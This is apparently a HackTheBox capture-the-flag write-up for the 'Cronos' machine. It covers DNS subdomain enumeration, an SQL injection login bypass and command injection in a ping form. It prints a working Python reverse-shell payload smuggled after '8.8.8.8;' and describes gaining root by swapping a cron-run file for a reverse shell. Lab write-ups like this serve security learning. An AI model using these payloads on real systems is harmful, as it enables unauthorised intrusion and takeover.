[HackTheBox] Cronos

Cronos begins with a simple DNS enumeration to find a hidden subdomain with a login page. Then we exploit SQL and command injection vulnerabilities to get a shell. This machine requires knowledge of how cron jobs work to get root. Easy and fun machine!

Summary

  • Find admin subdomain.
  • Bypass login page using SQL injection.
  • Use command injection to get a reverse shell.
  • Enumerate and exploit cron jobs to get root.

Recon

Port Scan

nmap -n -sV -p- -T 5 -Pn 10.10.10.13

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))

HTTP

http://10.10.10.13/ is just a default Apache2 page, but port 53 implies that there is a DNS server running on the machine. After adding 10.10.10.13 cronos.htb to ‘/etc/hosts’ file, I have visited http://cronos.htb, but it doesn’t seem to contain any interesting information.

After a while, I’ve decided to enumerate subdomains.

gobuster dns -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -d cronos.htb -r cronos.htb

Found: www.cronos.htb
Found: ns1.cronos.htb
Found: admin.cronos.htb
Found: WWW.cronos.htb
Found: NS1.cronos.htb

admin.cronos.htb is a login page. I’ve instantly tried a basic sql injection and got access to welcome.php page.

welcome.php

Exploit

welcome.php seems to be executing traceroute and ping commands on the machine and printing their output. If we assume that the php is structured like this:

...
exec("ping " . {whatever we put in})
...

wen can inject out commands into it. I’ve injected a python reverse shell:

8.8.8.8; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.28",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

and got a shell as www-data!

ROOT

After a bit of enumeration, I’ve noticed that there is a cronjob set to execute php /var/www/laravel/artisan every minute as root.

I’ve just replaced /var/www/laravel/artisan with a php reverse shell and after a while got a shell as root!